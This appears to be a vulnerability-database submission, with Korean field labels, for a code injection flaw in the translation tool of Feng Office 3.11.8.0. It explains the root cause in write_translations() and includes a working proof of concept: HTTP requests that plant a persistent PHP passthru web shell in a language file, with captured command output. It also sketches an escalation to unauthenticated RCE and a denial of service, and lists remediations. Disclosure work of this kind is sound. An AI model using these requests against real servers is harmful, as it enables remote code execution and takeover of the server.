| 제목 | Fengoffice Feng Office 3.11.8.0 Code Injection |
|---|
| 설명 | Summary
-------
Feng Office allows authenticated Super Administrators to inject arbitrary PHP code into
generated language files via the translation tool (index.php?c=tool&a=translate). In
application/controllers/ToolController.class.php, write_translations() escapes translation
values (escape_lang($v)) but writes translation keys - fully attacker-controlled via the POST
parameter lang[<key>] - into a generated PHP file without any sanitization
(line 455, unchanged in x.x.x.x):
fwrite($f, "\t'$k' => '" . $this->escape_lang("$v"). "',\n");
The generated language/<locale>/<file>.php is included by the Localization class on every
request for that locale, resulting in arbitrary PHP code execution as the web server user
(www-data confirmed).
Exploitation requires can_manage_security() (Super Administrator). The PHP form parser
truncates the key at the first "]", so the payload must not contain "]". Because the key is
wrapped in single quotes ('$k'), the injected key must itself supply the boundary quotes:
a key of the form ' , <PHP CODE> , ' yields the valid expression
'' , <PHP CODE> , '' => '1', inside return array(...).
A malformed injection trivially causes E_PARSE, after which every request of every user of
that locale fails with HTTP 500 (persistent DoS facet, observed in testing).
Proof of Concept (verified on x.x.x.x)
---------------------------------------
1. Inject PHP code into the language file (authenticated Super Admin):
POST /fengoffice/index.php?c=tool&a=translate
Content-Type: application/x-www-form-urlencoded
lang[' , passthru(getenv("HTTP_X_CMD")) , ']=1&file=general.php&locale=ru_ru
(minimal variant with a fixed command: lang[' , passthru('id') , ']=1&file=general.php&locale=ru_ru)
Generated line in language/ru_ru/general.php (passes php -l):
'' , passthru(getenv("HTTP_X_CMD")) , '' => '1',
2. Trigger - any request loading the ru_ru locale with a command header:
GET /fengoffice/index.php?c=dashboard
X-Cmd: id
Response body begins with:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The injected code is persistent: it executes on every request loading the ru_ru locale,
independent of the injecting session.
Impact
------
- Standalone: Super Admin -> RCE as web server user.
- Escalation: combined with the unauthenticated SQL injection in the legacy API
(see CVE-2026-90495 for the same attack surface), API tokens (fo_contacts.token, stored
plaintext, non-expiring) can be stolen to obtain a Super Admin session, yielding
unauthenticated end-to-end RCE.
- Persistent denial of service for a locale via a malformed injection (E_PARSE).
Remediation
-----------
Validate translation keys against a strict allowlist (e.g. ^[A-Za-z0-9_.\-]+$); stop generating
executable PHP from user input (store translations as data, e.g. JSON); remove ToolController
from production builds. |
|---|
| 원천 | ⚠️ https://gist.github.com/Marsh232/6dd58742d417911fed6dd2c94c85378a |
|---|
| 사용자 | 1marsh1 (UID 102043) |
|---|
| 제출 | 2026. 10. 14. AM 11:23 (25 날 ago) |
|---|
| 모더레이션 | 2026. 11. 08. AM 09:00 (25 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 432804 [Fengoffice Feng Office 까지 3.11.13.11/4.2.1.2 Translation Tool ToolController.class.php write_translations lang 권한 상승] |
|---|
| 포인트들 | 20 |
|---|